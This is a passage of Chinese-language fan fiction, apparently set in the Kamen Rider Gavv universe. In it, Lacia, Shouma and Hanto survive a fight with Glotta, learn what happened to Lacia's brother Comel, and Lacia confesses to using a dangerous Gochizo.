空气猛地灌入胸腔,心脏重新跳动,五感随之回归。剧烈的疼痛后知后觉地传遍四肢百骸,空气中隐约传来生真常吃的小零食的香甜味道,与眼下的状况格格不入。
他还活着......
脸侧传来一阵痒意,葡萄软糖的气味正以相当凶猛的姿态破开血腥缓缓复苏着心脏。
是生真......
他紧紧搂住自己的脖子,毛茸茸的脑袋伏在自己耳侧不住地叫着“拉齐亚”,一声比一声轻,他下意识环住对方的背脊,粗糙黏滑的手感却让他如坠冰窖。
颤抖着双手描摹背部的痕迹,从肩膀到腰腹,连伤口的方向与宽度都如出一辙,身上人的脑袋已无力垂落,无论怎么呼喊都毫无反应。
在这一瞬间,拉齐亚甚至分不清怀中的人是井上生真还是科梅尔。
纠缠了拉齐亚一整年的噩梦,再一次于眼前上演。
3. 酸甜与苦涩交织的回忆
“好了,你也去死吧!”
拉齐亚忽然觉得心累,报仇又如何,不报仇又如何,面对不可战胜的敌人,最终结果也不过是搭上更多的性命,死去的人不会再回来,活着的人又会因此而逝去。
他紧紧抱住怀中的人类,真实的触感让他莫名感到安心,如果真的就这样结束,好像也能平静接受。
倏然,巨大的冰墙从眼前拔地而起打断了格罗塔的攻击,厚重的冰雾于眼前迅速弥漫开来,眨眼间便覆盖了整个战场,把一切都隐藏在白茫茫之下。
“你们在干什么!还不快跑!”
绊斗立刻冲上前拽住生真的手腕,对方身子一歪,脑袋半搁在拉齐亚的肩上,软软垂落。
他脑中嗡的一响,视线堪堪划过,隐藏在拉齐亚血色双臂之下的是一道贯穿整个背部的巨大刀伤,旁边散落着数个被劈成碎片的小饱藏,浸透了生真的血液滚落一旁,同样失去了生机。
“你......”他茫然地望向拉齐亚,张了张嘴,却发现声带被冰雾冻得发不出声。明明走的时候还好好的,明明说好等我回来的......
拉齐亚似乎根本没注意到他,双手紧紧箍着生真,似乎怀中的是什么私人所有物。
“放手!”
拉齐亚纹丝不动,鲜血还在流,手腕在掌中逐渐冰凉。
“我叫你放手!”
他怒吼着,一把从拉齐亚手中夺回生真,颤抖着靠近他的心脏。
一秒。没有。
两秒。没有。
三秒。没有。
冰雾逐渐被高温融化,化作雨水一滴滴滚落,沿着骑士的面甲滑向鲜红的外衣,又被重力带向更低处。
手指跟着心脏一起缩紧,糖果色的外套被揪成了一团,绊斗紧闭着双眼,面甲之下泪水与雨水一同滑落。
噗通。
他猛地睁开眼睛,又不敢置信地再次屏气凝神。
噗通。
几秒之后,微弱但清晰的搏动再一次传进绊斗的耳朵。
心脏重新落回胸腔,他长舒一口气,一把揪住拉齐亚的衣领,几乎把对方提了起来。“拉齐亚你听着!我不管刚才发生了什么,但是生真不是你弟弟他还活着!我撑不了多久格罗塔马上就会杀过来我们现在必须离开!我不想看到生真难过也不想看到社长难过!而且你弟弟还在家里等你你不能让生真的努力白费!”
他喘息着,红着眼眶,努力抑制住揍人的冲动,对方终于有了反应,抬头望过来,那双如同一潭死水的瞳孔隐秘地闪烁了一下。
拉齐亚......柴崎先生知道科梅尔的事......你要活下去......
“跟我走,好吗?”绊斗的声音近乎哀求。
你要活下去......
冰墙被猛地打破,冰棱四散,纷纷砸落在地上,溅起一片水花,格罗塔早已变回人形,高跟鞋踏过碎裂的冰块,撵出变调的音律。透过已消散近半的冰雾环顾四周,她翘起嘴角冷哼一声:“跑得还挺快。”
将镰刀扛回肩上,口中哼起欢快的小曲,格罗塔步履优雅地转身离去。
“今天打得很开心,回去看看尼耶鲁布的实验进展好了~”
地下室的大门被嘭地撞开,惊得沙发上的柴崎导演差点滚落,上方传来凌乱的脚步声,他蠕动着身躯靠近台阶,想让瓦伦将身上的禁锢解开,然而下一秒,自己便被揪着衣领随意甩到一旁。
鲜红色的少年被小心翼翼放到沙发上,浓重的血腥气伴着甜腻的葡萄软糖味随即冲入鼻腔。柴崎导演伸头望了望,认出是把自己从格罗塔大人手里救出来的红腹口,不由一阵心虚,他缩了缩脖子,识趣地把自己藏进角落里。
“有没有吃的!随便什么都行!”
见拉齐亚依然死死盯着生真,一副魂不守舍的样子,绊斗顿时怒从心起,一拳揍上拉齐亚的脸颊。
“把你这幅难看的样子收起来!你难道想让生真变成第二个科梅尔吗?!”
拉齐亚眨了眨眼睛,茫然看向绊斗,他只好深吸一口气,认真重复道:“生真平时吃的小零食有没有,那个可以快速恢复他的体力,糖果,巧克力,冰淇淋,他现在能入口的,什么都行。”
“有......有的!”
拉齐亚跌跌撞撞地奔向沙发旁的小柜子,曾经摆满医疗用品的小抽屉里被他塞满了各种色彩斑斓的人类零食。
其实它们对拉齐亚来说毫无用处——作为一个以石头为食的砂糖人,他不太想尝试人类世界的东西。
但是生真不一样。他吃不了难以下咽的石头,却始终对人类零食抱有绝对的热情——就如同他的人类母亲,而它们也成为了孕育饱藏的力量源泉,为战斗提供了无法想象的助力。
拉齐亚喜欢彩色的零食包装袋出现在漆黑沉闷的地下室里的样子,也喜欢看到生真品尝它们时那副满足又幸福的表情,这会让他也发自内心地感到幸福,那份许久未触碰过的温度,让他欲罢不能。
两指拂过唇瓣轻托起下巴,软化后的巧克力化为粘稠的浆液一滴一滴进入半砂糖人的口腔,又混着斑驳血迹缓慢流淌进更深处。
拉齐亚捏着巧克力包装,一眨不眨地盯着生真苍白的脸颊,直至甜蜜的浆液淌了个干净。怀里的人依然毫无动静,连活跃的小饱藏都未曾出现,拉齐亚转头看向绊斗,曾经成熟冷峻的砂糖人脸上罕见地出现了惊慌失措与脆弱不堪。
绊斗的心也提了起来,他掐了掐掌心让自己冷静。曾经生真在受到很严重的伤势时有问过自己有没有吃的,一般两颗糖果下肚他的状态便会肉眼可见地好转,而代价则是没有新生的饱藏,这应该不会错。
确认过生真的脉搏,绊斗柔声宽慰道:“没有饱藏是好事,再来几颗试试。”
七八颗巧克力接二连三被送往生真的舌尖,轻微的吞咽动作终于在两人即将崩溃之际出现。他眉头猝然皱起,无意识的咳喘逐渐变为粗重的喘息,指尖揪紧了拉齐亚的外衣,似是在忍耐剧烈的疼痛。
“生真?”拉齐亚抛开剩下的巧克力,攥紧生真的手,将温度一点点传递过去。
生真睫毛轻颤了一下,眼皮缓缓睁开一道缝隙。
“......拉齐亚。”
他确认了两秒,吃力地扯出安抚的笑容,未等回应便脖颈一软,又昏睡了过去。
虽然生真仍未清醒,但胸膛清晰平缓的起伏终于让两人的心落了地,伤口被一点点处理干净,肩膀与背部的巨大刀伤就显得触目惊心,拉齐亚半靠在一侧,紧抿着唇,视线似要把那两道伤口洞穿。
见他一副完全不想管躲在角落的柴崎导演的样子,绊斗叹了口气,将几欲睡着的砂糖人拖了出来。
“你倒是心大。”拍拍砂糖人的脸颊,绊斗拖了张椅子坐到沙发边上,居高临下道:“说说吧,怎么回事。”
柴崎导演扭了扭身体,朝绊斗谄媚笑道:“瓦伦大人能先把这个解开吗?”
“少废话!格罗塔为什么说你是叛徒,还有生真说你知道科梅尔的事,都一件件给我说清楚了!”听到科梅尔的名字,拉齐亚终于望了过来,冷冰冰的眼神激得他打了个哆嗦。
“科......科梅尔,我知道!我知道的!那个被格罗塔杀了的砂糖人小孩嘛!”
头顶突然落下一大片阴影,柴崎导演尚未反应过来,衣领再次被狠狠拎起,拉齐亚森然的瞳孔贴到自己眼前,他不由吞了口唾沫,毫不怀疑一旦自己回答得不满意,马上就会被这人拧断脖子。
“拉齐亚!松手!”
衣领被放开,柴崎导演跌坐在地上,惊恐地注视着几个小时前还在欢乐游行的社长指挥下任劳任怨的小员工,久远的记忆突然闪现,他登时惊叫出声:“拉齐亚......拉齐亚·阿玛鲁加!你是科梅尔·阿玛鲁加的哥哥!”
话一出口,导演登时反应过来,往后缩了缩脖子,不敢再看眼前的活阎王。
“我很早之前就在这个游乐园当花车游行的负责人,因为游乐园是盛产幸福的地方,是个非常不错的狩猎场所,更何况人员众多且复杂,失踪几个人类根本不会被发现。”
“科梅尔是一年多以前被送来这边的,临时工里的小孩子不算多,所以在附近的临时工群体里还算出名,他的人皮小偶是个非常可爱的小男孩,本人也是温柔又充满活力,对于年纪尚小的人类小孩来说非常具有亲和力。正巧他不懂怎么抓捕原料,出于关照同族人的目的,我就邀请他当了花车的小演员,让他专门与游客互动,借此提升原料的品质,而我则负责暗中狩猎。”
“所以是你诱骗科梅尔,让他成为你抓捕人类的工具!”
“怎么能这样说!”导演立马梗起脖子高声反驳,随即又意识到不能在这两个人的面前太过放肆,只好撇撇嘴,略显委屈地小声解释道:“本身能被挑选成为临时工的砂糖人就是对黑暗零食抱有绝对的热情,被送往这边抓捕原料也实属自愿,更何况收获到的黑暗零食我也和他一人一半,明明是很公平的合作......”
眼看拉齐亚处于爆发边缘,导演立刻话锋一转,“但其实这样的合作并没能坚持多久!可能是因为科梅尔还是小孩子心性,也可能他喜欢上了人类世界,也有可能他与某些人类有了联系,不论是什么原因,总之他叛变了。”
“他说他在人类世界感受到了与砂糖人世界完全不同的色彩,人类也不应该成为黑暗零食的原料,觉得自己做错了很多事,黑暗零食也拒绝接受。他央求我带他回砂糖人世界,说想要回去找哥哥,甚至还想带哥哥一起来人类世界生活。”
导演摇了摇头,冷哼一声道:“天真,也许我就不应该让他与人类有太多接触。人类世界与砂糖人世界的通道位置只有斯托马克公司的高层才知道,而我们接触最多的也不过是他们的眷属,连原料仓库也仅知道几个,来到人类世界后再想要回去根本就是难如登天,更何况那几位高层偶尔会来视察我们的工作,科梅尔这样的家伙一旦被发现,绝对不会有好下场!”
“人类世界就是一个巨大的囚笼,专门关押被黑暗零食奴役的砂糖人!”
绊斗静静看着跪在地上的砂糖人滔滔不绝,把自己讲得面红耳赤,最后隐隐带上了一丝怒意。这一瞬间,绊斗隐约明白了他被格罗塔追杀的原因。
“那之后呢,科梅尔怎么回的砂糖人世界,又是怎么被格罗塔发现杀死的?”
导演沉默地摇了摇头,过了几秒后才低声道:“不知道,我拒绝了他的请求之后就再也没见过他,花车游行也因此停滞了一段时间,他大概是偷偷跟随哪位大人的眷属摸到了回去的通道吧。但通道都是直通斯托马克公司总部的,即使离开了人类世界也很难回去,除非你有能力避开遍布总部的眷属和特工,但显然临时工不可能做到,科梅尔更不可能做到。”
“你对斯托马克公司了解得还挺多?居然连总部什么状况都知道?”
“毕竟是十多年的老员工了嘛,那时候还没有压缩技术,抓捕到的原料还是需要我们亲自送往总部的。”柴崎导演嘲讽似的耸了耸肩,眼中却是深深的无奈与茫然。
之后的对话拉齐亚已不再听,反正瓦伦会搞定一切,他拉开地下室的大门朝外面走去。夜幕已悄然降临,小巷中的人家亮起点点星火,隐隐绰绰的喧闹声从远处传来。
这又让他想起了过去。
科梅尔会迎着夕阳在家门口朝自己挥舞双臂,一块石头一分两半各取其一,大的递给自己,小的捧在手心,他坐在对面比比划划着说自己今日的见闻与努力,询问自己有没有好好工作,然后笑着给自己一个满满的拥抱。即使生活再困苦,只要看见科梅尔的笑容他就会浑身充满动力。
但斯托马克公司把一切都毁了。
如今好不容易查到真凶,却对此毫无办法。他不在乎自己的性命,毕竟在决定伪装成瘾君子潜入斯托马克公司的那一刻他就已经做好了觉悟,即使粉身碎骨也能坦然接受,
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但他却决不能接受生真被自己连累。
拉齐亚背靠墙壁缓缓蹲下,小巷外的灯光被墙壁遮挡,于他的身侧落下一片阴影,地面上光与暗的界限分明。
他清楚地记得他与井上生真最初的相遇,临时藏身处的大门被推开,阳光撒入幽暗的仓库,那一抹糖果色的身影就这么沐浴在阳光之下,笑着对自己说“太好了,幸好你还在犹豫。”
他朝自己走过来,牵起自己的手腕,然后不由分说地把自己拉入了人类世界。那么强硬,却让人无法拒绝。
手指在地面缓缓摩挲,不由自主地向那光明之处延伸而去,却在即将触碰之际又触电般地收回。明明已经做好孤身一人战至最后的准备,为什么命运却让他与井上生真相遇。
他静静盯着那片光亮,枝叶投下的阴影在风中隐隐绰绰,然后被巨大的阴影覆盖,最后一双皮鞋进入了自己的视野。
“刚刚社长来电话了,她打不通你们两个的电话,就打给了我。”绊斗走至拉齐亚身侧,背靠墙壁将视线投往远处,“我和她说你们很好,但生真今晚大概回不去了,会在你这边住一夜,到时候别说漏了嘴。”
“谢谢。”
“你身上的伤,没关系吗?”见蹲在地上的人不再回应,绊斗认命地掏出酒精与棉签清理血痕,酒精撒上伤口,附近的肌肉被刺激得抽动了一下。见状,绊斗露出浅浅的笑意,起码这位黑漆漆的水母砂糖人还活着,而不是飘入了寂静无人的深海,隐入了深沉无光的黑暗。
时间一分一秒流逝,绊斗瞥了一眼拉齐亚,小心翼翼地开口道:“其实,科梅尔是个很好的孩子。”
见拉齐亚一言不发,他受到鼓励似的继续说道:“你看,我们遇到的所有临时工里,无一例外都是斯托马克公司的走狗,是黑暗零食的奴隶。科梅尔居然能摆脱黑暗零食的诱惑,甚至还背叛了公司,这不是很厉害,很勇敢吗?”
“但他却因此死了!我宁愿他没有当叛徒,至少当我来到人类世界之后还能见到他,活着的他!”
“但是那样你就要与他为敌了。又或是说,你想与我们为敌,与生真为敌?”见拉齐亚撇过脸去,绊斗一时竟觉得有些好笑,这人明明是四个人里年纪最长的那个,性格却比小孩子还别扭。
“而且这种事情是不会发生的对吧?毕竟科梅尔是个善良的孩子。”
拉齐亚回过头来,绊斗乌亮的瞳孔中正噙着一抹浅浅的笑意。
“我看那个导演倒是挺羡慕科梅尔的,羡慕他拒绝黑暗零食的毅力,羡慕他有反抗的勇气。”说到这个,绊斗停下动作表情夸张地对拉齐亚吐槽道:“你都没看见刚才我审讯他时的样子,明明眼里流露出的对斯托马克的厌恶不比我们少,但问到他是否还在吃黑暗零食时却支支吾吾不敢开口,我都不知道该拿他怎么办了......”
“在这之前,我一直都认为临时工与斯托马克是一样的,但自从遇到你,遇到柴崎导演,知道了科梅尔的往事,我突然发现原来临时工里也不乏被斯托马克伤害的砂糖人,原来他们也是受害者。”
拉齐亚一把抽出自己的手,抿着嘴道:“怎么,犹豫了?舍不得对他们下手了?”
“当然不是,反而信念更加坚定了!斯托马克我一定会铲除,既为了人类,也为了被他们伤害的砂糖人,而临时工......”
这时,绊斗突然想起生真每次对敌人发起最后进攻时都会问出的话语——怎么选,是放弃黑暗零食,还是现在就被我打倒?——他突然轻笑一声,收拾好垃圾边站起身边感叹道:“生真不是早就告诉过我们了吗?”
拉齐亚怔怔地望向对面的人类,忽然意识到自己似乎从未真正了解过他。能成为生真最早的人类好友,除了生真自带的天然好感度与小狗般的绝对热情,一定还有更深层次的原因,他的温柔、成熟、理智、包容,与苦尽甘来的意气风发,都是自己不曾发现、也未曾拥有的东西,而这些要比纯粹的力量更为强大。
人类这个种族,明明一点也不弱小。
“好了,夜风也吹得够久了,我们回去吧。”对面的人类站在光里,向自己伸出了手。
夜空低垂,了无繁星,黑红色的色块布满整个天际,压得人们难以喘息,这是砂糖人世界日复一日的夜。
自从登特·斯托马克失踪,尼耶鲁布便霸占了他的实验室,十多年来他读遍老师所有的研究资料,却仍未明白当年红腹口的改造技术。而如今,被公认为最弱小最没用的红腹口正凭借当年的那台手术一步步成长。
这样的认知让尼耶鲁布的心兴奋地颤抖。
视线重新回到面前的电脑,分析软件启动的某个程序上正映着大大的“救世主K”字样,俨然是自己那位科研伙伴中道崩阻的课题模型。
利用红腹口的毛发与血液样本,再加上至今以来的所有战斗数据一步步完成至此,却因对实验中的小白鼠产生了感情而功亏一篑,尼耶鲁布推了推鼻梁上的眼镜,扯起一抹冰冷的笑意。
人类终究还是败在了无用的感情上。
“尼耶鲁布——”
慵懒的女声吓得尼耶鲁布一个激灵,他慌忙整理好自己的仪表,站起身迎接格罗塔。
收进容器只剩小臂大小的镰刀被拍在实验桌上,格罗塔从上至下扫视了弟弟一眼,随意靠向桌沿道:“听说你的实验停滞了,因为缺少测试对象?”
尼耶鲁布用余光瞥向被丢在一边的武器,上面隐约还残留着一丝血迹。
“您是有不错的人选吗?”
格罗塔取出平板随手划拉了几页后又丢还给对方,“很不错的人选,你要感谢红腹口救了他。”
“您可别真把我亲爱的弟弟杀了。”尼耶鲁布随口抱怨了一句,看向被姐姐挑中的砂糖人,然而他却眼前突然一亮,无法抑制地笑出了声。
“姐姐,这还真是个不错的人选啊——”
他推了推金边眼镜,实验终于朝着自己期待的方向发展了。
4. 满杯!幸福的甜品塔!(1)
“布丁!布丁!”
尚未走至门口,拉齐亚与绊斗便远远听见了布丁饱藏的声音,黄色的人造小生命正四处寻找自己的主人,小小的脸蛋写满了慌张。拉齐亚心头一紧,隐约猜到出了事,远远招呼了一声后便闷头冲进了地下室。
屋子里安静如初,柴崎导演身上的禁锢还在,头已经一点一点地睡着过去,两人刚松一口气,转头却看到本该好好躺在沙发上的生真不见了踪影!
“怎么回事!”绊斗气得团团转,这边才刚哄完一个另一个又不见了,这两个砂糖人一个比一个不省心!
他一把揪住柴崎导演,再一次把他晃醒,红着脸怒道:“喂!生真呢?生真去哪了?!”
“我......我不知道啊!腿长在红腹口身上他跑哪去我怎么知道!”柴崎导演有些欲哭无泪,这两个人怎么什么火气都往自己身上撒!
绊斗叹了一口气,用力推开砂糖人,过了一会,又不解气似的轻踹了他一脚,恶狠狠地威胁道:“不准叫他红腹口!”
跟在后头的布丁饱藏姗姗来迟,奋力奔向拉齐亚后吧嗒一下落入他的掌心,告状似的扭动身躯,意思是说在他们离开之后没多久,生真便清醒过来,带着樱桃果冻饱藏不知道去了哪里。
闻言,拉齐亚将小家伙揣回兜里,二话不说便准备开门离去。
刚跨出一步,他又犹豫着收回,转过身对急得挠头的人类道:“绊斗!我大概知道他去了哪里,你看好他,我去找。”然后留下一脸茫然的绊斗,拉开大门迅速消失。
寂静无声的地下室里,绊斗蹲下身狠狠捏了一下砂糖人的脸颊,捏得对方痛呼出声,然后似询问又似自言自语:“他刚刚是叫了我名字吧?是吧?!”
郊区,野树林的深处。
生真捂着肩膀,深一脚浅一脚地踏在茂密的枝丛中。
从城镇到郊外有着不远的距离,但对于砂糖人来说这并不算难事,只是自己的伤势不算轻,走到这里也已接近极限。
他紧紧握住手中的樱桃果冻饱藏,小家伙似乎感受到了危险的气息,一路上挣扎个不停。
饱藏对于生真来说是十分特殊的存在,在刚落入这个陌生的世界时,是饱藏们支撑着自己度过了一个又一个孤独的夜晚,他们既是战斗的武器,也是守护自己与朋友的家人,即使手中的这个小家伙并非自己真正的眷属,如非必要他也不想强迫它做任何事。
但一想到拉齐亚使用这孩子时痛苦的神情,以及自己扑上去时触摸到的微弱心跳,自己的心也好像被紧紧揪住,喘不过气来。
想要守护的人在眼前逝去,而自己却对此无能为力,这样的事情,他不想再经历了。
这次匆忙偷走了拉齐亚的饱藏,也未来得及做任何遮掩,不出意外很快就会被那两人追到这里,必须要尽快。
生真停下脚步轻喘了一阵,感觉身体又涌出了一些力量,他望向不远处,那里有隐隐绰绰的灯光闪烁,登特叔公的藏身处就在前方。
整理好状态,生真轻扣了一下石壁,提醒叔公自己的到来。
年迈的鲸鱼砂糖人正埋头不知道在研究些什么,听到声音,他连忙放下手中的工具,拖着庞大肥硕的身躯一路小跑到来人面前。
“哟!小生真!怎么这个时候来!”
“抱歉叔公,这次来得匆忙没能带零食,下次给您补上。”生真将手中的饱藏递给对方,轻声道:“叔公,能帮我看一下这个饱藏有什么问题吗?”
“拉齐昂那小子的东西?”登特叔公接过饱藏,感受到更为不祥的气息,小小的身躯在他的手中挣扎得更为厉害,叽里咕噜吵个不停。
“嗯,这是尼耶鲁布哥哥制作的饱藏,似乎对心脏有副作用,我担心他在上面动了什么手脚。”生真撑上桌沿,一副有气无力的样子,“您在研究的时候请不要伤害它,它本身是个好孩子。”
“刚才我就想说了,你的脸色很不好哦?遭遇了很麻烦的敌人?”登特叔公伸手附上生真的额头,不正常的热度让他皱了皱眉。
“嗯,遇上了格罗塔姐姐,受了点伤,不过已经被处理好了。”生真沿着沙发坐下,昏沉沉的脑袋让他有些站立不住,“麻烦叔公尽快看一下,我这次是偷跑出来的,等拉齐亚追过来可能就没机会了。”
闻言,登特叔公再次挤回那张堆满东西的桌子,操起工具埋头干活。小小的山洞中,祖孙两人各坐一旁,篝火燃烧枝叶发出噼里啪啦的声音,夜风吹入山洞带来一丝初春的凉意,生真不自觉裹紧了衣物,伴着轻微的机械声昏昏欲睡。
静谧的氛围里,远处急促的脚步声就显得格外清晰,生真霍然清醒,意识到大概是拉齐亚来了。他站起身走至登特叔公身前,视线紧紧盯着外面,片刻之后,黑衣黑帽的拉齐亚如约而至。
对方喘着粗气,帽檐上还沾着飘落的枝叶,显然是慌忙赶往这边的,他快速扫视了一圈,在终于见到想见的人时长长舒了口气。生真还未想好该怎么对拉齐亚开口,对面的人便快步朝这边走来,一把将自己搂入怀里。
“拉齐亚?”
视线越过生真投向对面的工作台,登特叔公手中的事物俨然是被取走的樱桃果冻饱藏。晶蓝色的水母触须从搂住生真脖颈的指尖延伸而出,在叔公震惊的眼神里瞬间刺入掌心下的皮肤,毒素沿着肌肉渗透入血液,生真连痛呼都未来得及发出便一下软倒在拉齐亚怀中。
“生真!”登特叔公急忙站起身,庞大的身躯一下撂倒桌面的大片零部件,“拉齐昂你干什么呢!”
“没什么,让他睡个好觉。”见自家侄孙被小心放在沙发上,面色平稳较刚才的状态好了很多,正想再念叨没礼貌的小辈几句,对面的人却一下越过自己,拿上樱桃果冻饱藏便转身欲走。
“站住!这个饱藏的用法我已经知道了,你拿走也没用!”和蔼的老人家声音少见地带上了威胁之意,“是你亲自和生真解释,还是让我来说?”
“怎么办,好像搞砸了......”
山洞外,拉齐亚靠坐在树下抬头望向夜空,郊区的夜空总比城市里清晰,星星点点如钻石般闪烁,这是砂糖人世界永远都看不到的景色。
生真说人类世界逝去的生命会化作亮闪闪的星星,每当夜幕降临便会指引思念着自己的人。
拉齐亚伸手张开五指,星光从指缝泻下,照常落入眼眸。
如果是科梅尔,是否也会被这边的星空拯救?倘若真的被接纳,那为什么不来指引自己,指明前路呢?
樱桃果冻饱藏挪动到拉齐亚身边,委屈巴巴地蹭上主人的脸颊,大大的双眼几欲落泪。
“你也不知道该怎么办了,是吗?”
“我应该坦白的。”拉齐亚似自言自语道:“但一看到生真,就觉得有些话说不出口,他太像科梅尔了。”
“太像科梅尔了,就像幻影一样。”拉齐亚又重复了一遍。“只有触摸到的时候,才会感觉真实。”
拉齐亚泄了气,将帽子扔下躺倒在地上。
“没——劲——”
“既然这么珍惜,更应该好好坦白才行啊。”
轻柔的女声回应了自己,拉齐亚侧头望去,甘根幸果正对着自己露出灿烂的微笑。
“社长?”他坐了起来,疑惑道。
“打给绊迪的时候就觉得不对劲,本来想让你们自己解决的,但始终觉得不放心,只能半夜爬起来找你们啦~是绊迪告诉我你们大概在这里。”幸果在拉齐亚旁边坐下,小声抱怨道:“我的两个员工发生这么大事,作为社长居然一点也不知道,岂不是我的失职?”
暴露了吗?拉齐亚眨了眨眼,无奈笑了一下。明明是他自己念叨着别说漏了嘴的。
突然,她兴奋地拍拍拉齐亚,扯着对方的胳膊指向上空。“哇!好美的星空!郊外就是和城市里不一样,连星星都那么清晰!”
视线顺着对方的指引再次伸向遥远的天际,星河浩瀚,留下多少沉甸甸的思绪。
“这里也太适合放松心情了!”幸果伸了伸懒腰,浑身放松地靠躺在树干上,夜风微凉,思维放空,两个人就
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这样静静贴坐在一起。
“拉齐昂知道人类世界有个传说吗?”兀然,幸果开口道:“据说逝去的生命会化为星星,保佑这世间还思念着自己的人。想试一下吗?”
见对方看着自己不说话,幸果转过头双手合十贴于胸前,轻声笑道:“那你看好啦~”
她清了清喉咙,闭上双眼,神色郑重地一字一句道:“星星大人,我希望拉齐亚能获得幸福,如果您能听见他的心声,就请收下这份思念吧。”
缓缓睁开眼睛,幸果盯着地上的草尖儿,轻声说道:“我们所有人都希望拉齐昂也能获得幸福,我想科梅尔也是。这无关种族,也跨越生死,因为你是我们不可或缺的家人。”
家人吗?
拉齐亚低头看向手中安安分分的粉色饱藏,曾经他以为自己什么都没有了,在砂糖人世界日复一日地寻找线索,找到最后连悲伤的情绪都被逐渐遗忘。从未期待过被拯救,只想抱着那份记忆独自走向终局。
“你来到人类世界后所遭遇的一切并非虚假,即使刻意逃避,人与人之间的联系还是会随着时间逐步加深。都到这个地步了,如今还想抛下我们,不是很过分吗?”
很多东西都是在日常的一点一滴中潜移默化形成的,即使刻意避开一切,它们也会无孔不入地侵入生命里,小到异界的食物,大到新的情谊。拉齐亚慢慢收紧五指,不知道从什么时候起,自己再也不是孑然一身,了无牵挂了。
幸果笑着揉了揉自家员工银白的卷发,略带遗憾地感叹道:“刚才赶过来的时候遇上了一家甜品店,听说他们的芭菲很有名,可惜太晚关门了。白天拉齐昂都答应试试芭菲了,机会就是这么不凑巧,两次都错过了。”
“不会再错过了。”拉齐亚抬头望向幸果,深蓝近黑的眼瞳少见地发亮:“社长,能请您帮个忙吗?”
生真再次踏入了那个装修奢侈却陈设简单的屋子。
两张床,一张桌子,以及一扇仅能看见一小片天空的窗户,这便是入眼所见的一切,生真对此不能再熟悉了,这里是斯托马克,软禁了自己与妈妈十八年的家。
身后沉重的大门被推开,生真回过身去,看见妈妈正微笑着招呼自己过来。明明昨天才相见,却不知为何视线开始变得模糊,生真小跑着奔往妈妈身侧,正欲开口,对方便牵起自己的手,笑道:“爸爸和哥哥姐姐们正等着你过去呢。”
妈妈的手温柔地抚上自己的头发,带着真实的触感与温度,他闭上眼睛,忍不住沉溺下去。
身侧挤挤挨挨站了一堆人,模糊变调的生日祝曲由远及近,他睁开双眼,眼前堆满了哥哥姐姐们送的生日礼物,而爸爸正牵着妈妈的手捧着漂亮的草莓奶油蛋糕从远处而来。
格罗塔姐姐取走一颗鲜红色的草莓,最大最甜的那颗,然后搂着自己的肩膀,塞入口中。冰凉的外皮被咬开,酸酸甜甜的果汁化开绵密的奶油迸入舌尖,与那天和幸果小姐一起品尝的蛋糕很像,心脏仿佛被灌入浓稠而滚烫的糖浆,生真低下头,泪水不由自主地滚落。
如此真实的幸福,难怪人类会沉溺于此。
因为太过幸福,所以反而显得虚假,因为幻想过太多次了,所以很快就意识到是梦境,但即便如此,这里也有很多割舍不下的东西。
视线越过一众黑漆漆的砂糖人,最终落在远处一袭白衣,笑得灿烂的妈妈身上,那是在前十八年的人生里极少见到的笑容,充满幸福的笑容。
“拉齐亚,谢谢你。”幸福的妈妈真的很美。
周遭的人影逐渐变得模糊,宛如老旧电视的雪花于眼前一幕幕闪现,嘈杂的声音仿佛被隔了一层纱,再也听不真切。生真的视线仍紧紧追随着妈妈,一片混乱的黑暗中,只有她的笑容那么惹眼,那么珍贵。
这是曾经弱小的他没能守护的笑容。
梦境即将坍塌,趁此机会把这一幕刻进心里,时刻谨记,为了这样的幸福,哪怕拼尽全力,付出一切,他都不会再退缩!
最后,一切都归于宁静,生真于一片静谧中醒来。
5. 满杯!幸福的甜品塔!(2)
入眼是黑漆漆的石壁,清晨的鸟鸣声随着微风卷入生真的耳畔,他眨了眨眼,泪珠顺着眼角向下滑落,混沌的脑子逐渐清明,他终于想起了昨晚发生的一切。
一想到拉齐亚那副奇怪的态度,生真便自觉心虚,在牵扯到科梅尔的事情上,他本就不太能应付拉齐亚,而昨晚他还偷走了樱桃果冻饱藏,尚未想好的措辞更是伴着一场梦随风而去,如果叔公查出的结果不好,情况只会变得更加混乱。
生真泄气般地呼出一口气,正欲撑起身体活动一下僵硬的四肢,才终于后知后觉地意识到自己身边还趴着一个人。
拉齐亚盘坐在小小的床铺旁,脑袋枕着手臂睡得不太安稳,水母状的银制耳坠就这么安安分分地耷拉在脸侧,在晨曦的光辉中一闪一闪地泛着光。
环顾四周,叔公正一如既往地伏在他心爱的工作台前打鼾儿,而本该自己躺着的沙发上却睡着幸果小姐。正待疑惑,旁边的拉齐亚便已缓缓醒来,四目相对,生真没来由得一阵尴尬。
“对不起拉齐亚,我没想......”生真唰的一下坐直,猛地牵扯到后背的伤口,当场被疼得龇牙咧嘴,白着一张脸直抽抽。
“生真。”拉齐亚缓缓站起身,朝生真摊出手掌,上面赫然是那只樱桃果冻饱藏。“这只饱藏你收走吧。”
“诶?”
尚未出口的话一下被堵在了舌尖,生真接过樱桃果冻饱藏,小家伙安安分分待在自己手中,显然是已经接受了一切。
“我们出去说,好吗?”
“所以你从来不在我们眼前使用,是因为它真的有问题,而且你很清楚,对吗?”
两人并肩行走在树林中,晨曦透过茂密的枝头星星点点落在铺满落叶的柔软土地,踏足于其上,细微清脆的声音绕上两人的耳侧。
拉齐亚侧头望向年纪尚小的友人,对方正同样望着自己,圆润的瞳孔中盈满了自己难以承受的重量。
这里的清晨确实有别样的生命力,拉齐亚心想,如果是曾经的自己,被这样的一双眼睛期待着,一定会毫不犹豫地逃离,但如今他却觉得自己已然拥有了面对它的勇气。
“嗯,我很清楚。”他顿了顿道,“它是通过延伸而出的藤蔓缠绕心脏,从而抑制心脏跳动,让使用者被迫进入假死状态来实现虚化的。”
“但不能使用太久,撑到极限时驱动器会自动解除虚化状态,防止使用者真的因此死亡。”
“所以那时候你才一遍遍显现又一遍遍消失?即使是这么危险的东西,居然用起来也毫不手软......”他停下脚步,转过身认真看向拉齐亚的眼睛,“你是一开始就抱着必死的信念来到这里的吗?”
“......是。”拉齐亚的声音变得生涩,即使做足了心理准备,但当真的面对这样直接的质问时,依然难以启齿。
生真抿着唇,眼神变得相当复杂。
“抱歉,是我太迟钝了,直到这个时候才发现。”他深吸一口气,低头用力蹭了一下眼角,闷声说道:“其实我也不知道该怎么办,拉齐亚。昨晚醒来时发现你们都不在,而这孩子就在旁边,我一时冲动就把它送来这里了。”
“我不是想阻止你替科梅尔报仇,只是对战格罗塔时的场景总是在我的脑海挥之不去。之前我已经体会过一次失去绊斗的痛苦了,这种恐惧我不想再经历一次。”
